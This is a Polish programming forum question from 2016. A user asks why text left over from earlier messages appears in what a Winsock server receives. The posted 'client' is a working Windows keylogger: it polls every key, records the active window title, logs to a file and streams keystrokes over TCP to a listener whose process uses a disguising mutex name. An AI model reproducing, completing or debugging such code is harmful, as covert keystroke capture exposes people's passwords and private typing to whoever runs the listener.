• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

Problem z długością znaków winsock

Object Storage Arubacloud
0 głosów
101 wizyt
pytanie zadane 30 listopada 2016 w C i C++ przez aleksander_szut Użytkownik (940 p.)

mam dwie aplikacje "klient" i "serwer" aplikacja serwer wysyła np. słowo "caps lock" i za drugim razem jak wysyła krótszy od najdłurzszego z wysłanych wiadomości np "shift" to serwer wyświetla "shift lock"

#include <Windows.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <winsock2.h>
#include <string>

using namespace std;

HWND WINAPI GetForegroundWindow(void);
HWND WINAPI GetConsoleWindow( void );


int WINAPI GetWindowText(HWND   hWnd, LPTSTR lpString, int nMaxCount);
void writelog(LPCSTR text)
{
    ofstream logfile;
    logfile.open("keyloger.txt", fstream::app);
    logfile << text;
    logfile.close();
}

string keylog(int iKey)
{
    switch (iKey)
    {
    case 32:
        return " ";
        break;
    case VK_RETURN:
        return "\n";
        break;
    case VK_SHIFT:
        return "<SHIFT>";
        break;
    case VK_BACK:
        return "\b;";
        break;
    case VK_RBUTTON:
        return "<rk>";
        break;
    case VK_LBUTTON:
        return "<lk>";
        break;
    case VK_CONTROL:
        return "<Ctrl>";
        break;
    case VK_MENU:
        return "<alt>";
        break;
    case VK_CAPITAL:
        return "<caps lock>";
        break;
    default: return "0";
    }

}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{

    WSADATA wsaData;
    SOCKET clientSocket;
    SOCKADDR_IN address;
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    address.sin_family = AF_INET;
    address.sin_port = htons(1000);
    address.sin_addr.s_addr = inet_addr("127.0.0.1");
    int i =1;
    while(1)
    {
        if(i>4) i=1;
        if(connect(clientSocket, (struct sockaddr*)&address, sizeof(address)) == SOCKET_ERROR)
        {

            switch (i)
            {
            case 1 :
                system("cls");
                cout << "ˆ¥czenie: ";
                break;
            default:
                cout<<".";

            }
        }
        else
        {
            system("cls");
            cout << "poˆ¥czono";
            Sleep(1000);
            system("cls");
            break;
        }
        i++;
        Sleep(10);
    }

    char key;
    while(true)
    {
        Sleep(10);
        string sprawdz;
        for (key = 8; key <= 190;key++)
        {
            if(GetAsyncKeyState(key) == -32767)
            {
                char app[125];
                string app_mess;
                string key_mess;
                GetWindowText(GetForegroundWindow(),app,125);
                if(app !=sprawdz)
                {
                    string app_mess = app;
                    app_mess = app_mess+":";
                }
                if(keylog(key) == "0")
                {
                    key_mess = key;
                }
                else
                {
                    key_mess = keylog(key);
                }
                string beta_mess = app_mess+key_mess;
                char mess[128];
                strncpy(mess, beta_mess.c_str(), 128);
                cout << mess;
                if(send(clientSocket, mess, strlen(mess),0) == SOCKET_ERROR)
                {
                    cout << "Error nie udalo sie wyslac"<<endl;
                }
                beta_mess ="";
                sprawdz = app;

            }
        }
    }
    return EXIT_SUCCESS;
}
#include <iostream>
#include <windows.h>
#include <winsock2.h>

using namespace std;
class CSingleInstance
{
private:
    DWORD dwLastError;
    HANDLE hMutexNameHandle;
public:
    CSingleInstance(char *mutexNameStr)
    {
        hMutexNameHandle = CreateMutex(NULL, FALSE, mutexNameStr);
        dwLastError = GetLastError();
    }
    CSingleInstance(void)
    {
        if(hMutexNameHandle)
        {
            CloseHandle(hMutexNameHandle);
            hMutexNameHandle = NULL;
        }
    }
    BOOL isAnotherInstanceRunning()
    {
        return (dwLastError == ERROR_ALREADY_EXISTS);
    }
};
int main()
{
    CSingleInstance * inst = new CSingleInstance("win32_lan_service");

    if(inst->isAnotherInstanceRunning())
        ExitProcess(0);

    WSADATA wsaData;
    SOCKET clientSocket, listenSocket;
    SOCKADDR_IN address, clientAddress;
    string strMessage;
    char message[512];

    WSAStartup(MAKEWORD(2,2), &wsaData);

    listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    int addressSize;
    address.sin_family = AF_INET;
    address.sin_port = htons(1000);
    address.sin_addr.s_addr = htonl(INADDR_ANY);

    bind(listenSocket, (struct sockaddr*)&address, sizeof(address));

    listen(listenSocket, 10);
    addressSize = sizeof(clientAddress);

    clientSocket = accept(listenSocket, (struct sockaddr*)&clientAddress, &addressSize);

    while(true)
    {
        lstrcpy(message, "\0");

        recv(clientSocket, message, sizeof(message), 0);

        if(message[0] != '\0')
            cout <<message;


    }
    closesocket(clientSocket);

    WSACleanup();

    return EXIT_SUCCESS;
}

 

Zaloguj lub zarejestruj się, aby odpowiedzieć na to pytanie.

Podobne pytania

0 głosów
1 odpowiedź 59 wizyt
pytanie zadane 9 listopada 2023 w C i C++ przez hihijsonel Obywatel (1,250 p.)
0 głosów
0 odpowiedzi 94 wizyt
0 głosów
2 odpowiedzi 404 wizyt
pytanie zadane 17 lipca 2015 w C i C++ przez Bartos Użytkownik (610 p.)

92,594 zapytań

141,443 odpowiedzi

319,714 komentarzy

61,979 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Kolejna edycja największej imprezy hakerskiej w Polsce, czyli Mega Sekurak Hacking Party odbędzie się już 20 maja 2024r. Z tej okazji mamy dla Was kod: pasjamshp - jeżeli wpiszecie go w koszyku, to wówczas otrzymacie 40% zniżki na bilet w wersji standard!

Więcej informacji na temat imprezy znajdziecie tutaj. Dziękujemy ekipie Sekuraka za taką fajną zniżkę dla wszystkich Pasjonatów!

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...